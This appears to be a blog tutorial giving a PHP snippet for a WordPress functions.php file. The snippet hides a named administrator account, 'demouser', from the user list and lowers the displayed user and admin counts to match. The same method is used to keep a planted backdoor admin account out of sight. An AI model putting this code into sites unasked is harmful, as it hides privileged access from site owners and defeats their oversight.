How to Hide Specific User From the WordPress User List

For specific user hide from the WordPress back end we can easily do that. It’s very simple to get this done. Here we have created a user called “demouser”. In this article we will show you how to hidden this specific user from the wordpress user lists.

hide specific user from wordpress admin

Now add the below code in the function.php file. And change the username you want to hide from the wordpress back end. Here we have used “demouser” as a new admin.

add_action('pre_user_query','hidden_user_query');
function hidden_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'demouser') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'demouser'",$user_search->query_where);
}
}
add_filter("views_users", "user_list_table_views");
function user_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}

hide specific user form the wordpress admin

To get more information visit our Blog.